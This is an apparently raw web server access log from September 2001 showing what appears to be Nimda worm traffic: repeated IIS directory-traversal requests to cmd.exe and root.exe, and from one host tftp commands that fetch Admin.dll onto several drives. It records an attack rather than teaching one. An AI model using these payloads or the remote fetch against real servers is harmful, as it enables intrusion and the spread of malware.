[128.163.33.117] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:37:08: [128.163.33.117] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:37:29: [128.163.33.117] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:11: [128.163.33.117] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:31: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:38:33: quiz.chem.Arizona.EDU [128.196.184.5] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:38:33: quiz.chem.Arizona.EDU [128.196.184.5] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:35: quiz.chem.Arizona.EDU [128.196.184.5] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:36: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:37: quiz.chem.Arizona.EDU [128.196.184.5] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:37: quiz.chem.Arizona.EDU [128.196.184.5] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:39: quiz.chem.Arizona.EDU [128.196.184.5] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:39: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:40: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:41: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:42: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:44: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:44: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:45: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:46: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:38:48: [128.163.33.117] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:39:14: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:40:31: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:40:32: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:32: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:36: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:37: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:38: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:41: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:40:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:45:33: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:45:34: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:38: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:39: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:39: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:40: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:42: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:45:49: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:46:55: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:46:59: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:02: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:02: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:07: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:09: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:10: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:13: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:16: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:16: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:17: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:21: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:22: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:23: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:24: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:47:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:48:22: WWW [128.59.59.84] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:49:22: WWW [128.59.59.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:49:28: WWW [128.59.59.84] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:49:33: WWW [128.59.59.84] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:49:38: WWW [128.59.59.84] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:49:42: [128.164.89.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:50:49: [128.164.89.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:51:07: [128.164.89.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/Admin.dll HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/Admin.dll HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010918 10:51:31: ras31.isi.edu [128.9.176.131] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 10:52:16: ras31.isi.edu [128.9.176.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 10:52:19: ras31.isi.edu [128.9.176.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:21: ras31.isi.edu [128.9.176.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:25: ras31.isi.edu [128.9.176.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 10:52:28: ras31.isi.edu 